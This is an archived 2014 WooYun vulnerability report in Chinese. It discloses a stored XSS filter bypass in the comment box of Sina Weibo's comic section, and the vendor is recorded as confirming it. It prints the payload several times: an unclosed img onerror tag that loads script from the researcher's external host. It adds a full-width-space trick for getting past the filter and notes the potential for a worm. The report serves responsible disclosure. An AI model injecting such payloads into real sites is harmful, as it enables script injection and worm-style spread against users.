漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-050086
漏洞标题:新浪微博微漫画存储型xss漏洞(xss filter bypass)
相关厂商:新浪
漏洞作者: q601333824
提交时间:2014-01-30 11:55
修复时间:2014-03-16 11:55
公开时间:2014-03-16 11:55
漏洞类型:xss跨站脚本攻击
危害等级:中
自评Rank:5
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-01-30: 细节已通知厂商并且等待厂商处理中
2014-01-31: 厂商已经确认,细节仅向厂商公开
2014-02-10: 细节向核心白帽子及相关领域专家公开
2014-02-20: 细节向普通白帽子公开
2014-03-02: 细节向实习白帽子公开
2014-03-16: 细节向公众公开
简要描述:
新浪微博微漫画存储型xss漏洞
详细说明:
1.新浪微博微漫画评论框处的存储型XSS漏洞,虽然经过过滤,但是可以绕过过滤
(用了最后的必杀技了)
2.插入一段不闭合的代码标签:
<img/src="#"/onerror="var e=document.createElement('script');e.setAttribute('src','http://q601333824.duapp.com/?r='+Math.random()*99999999);document.body.appendChild(e)"
3.为了对比过滤的效果,我准备了两段代码进行对比,下面两段
(1)XSS测试代码1号:<img/src="#"/onerror="var e=document.createElement('script');e.setAttribute('src','http://q601333824.duapp.com/?r='+Math.random()*99999999);document.body.appendChild(e)">
(2)XSS测试代码2号:<img/src="#"/onerror="var e=document.createElement('script');e.setAttribute('src','http://q601333824.duapp.com/?r='+Math.random()*99999999);document.body.appendChild(e)"
(这两段代码,不一样的地方就是第一段代码进行了闭合,第二段没有进行闭合)
4.插入回复评论处:,如图
5.然后回复之后,两段代码产生的标签进行对比,如图
(XSS测试代码1号过滤的连渣都不剩下,但是XSS测试代码2号并没有被过滤)
6.当目标用户阅读漫画的时候就可以触发XSS,如图
7.如果审核的人测试,还有个注意点就是,插入外部JS的时候
要在声明变量之间打上全角空格
比如 var e 直接打上全角角空格,如果不打全角空格,直接打空格,会出现下面这张图片的状况,如图
(插入外部JS,声明变量的时候一定要全角空格)
8.我没干啥坏事,附上一张我存在BAE代码图片...=_=
只有一段弹窗代码,没有加别的=_=
漏洞证明:
1.插入一段不闭合标签的代码加载外部JS代码
<img/src="#"/onerror="var e=document.createElement('script');e.setAttribute('src','http://q601333824.duapp.com/?r='+Math.random()*99999999);document.body.appendChild(e)"
2.插入评论框
3.XSS过滤对比图
(XSS测试代码1号过滤的连渣都不剩下,但是XSS测试代码2号并没有被过滤)
4.
5. 7.如果审核的人测试,还有个注意点就是,插入外部JS的时候
要在声明变量之间打上全角空格
比如 var e 直接打上全角角空格,如果不打全角空格,直接打空格,会出现下面这张图片的状况,如图
修复方案:
1. 检查并对尖括号自动配对,
2. 危害程度就是这里的评论是和新浪微博同步的,如果一个人中了代码发到微博,另一个人再访问,又中了再发微博,虽然有httponly拿不到cook,但是可以进行蠕虫,可加载外部JS代码
版权声明:转载请注明来源 q601333824@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2014-01-31 23:23
厂商回复:
感谢关注新浪安全,祝洞主新年快乐
最新状态:
暂无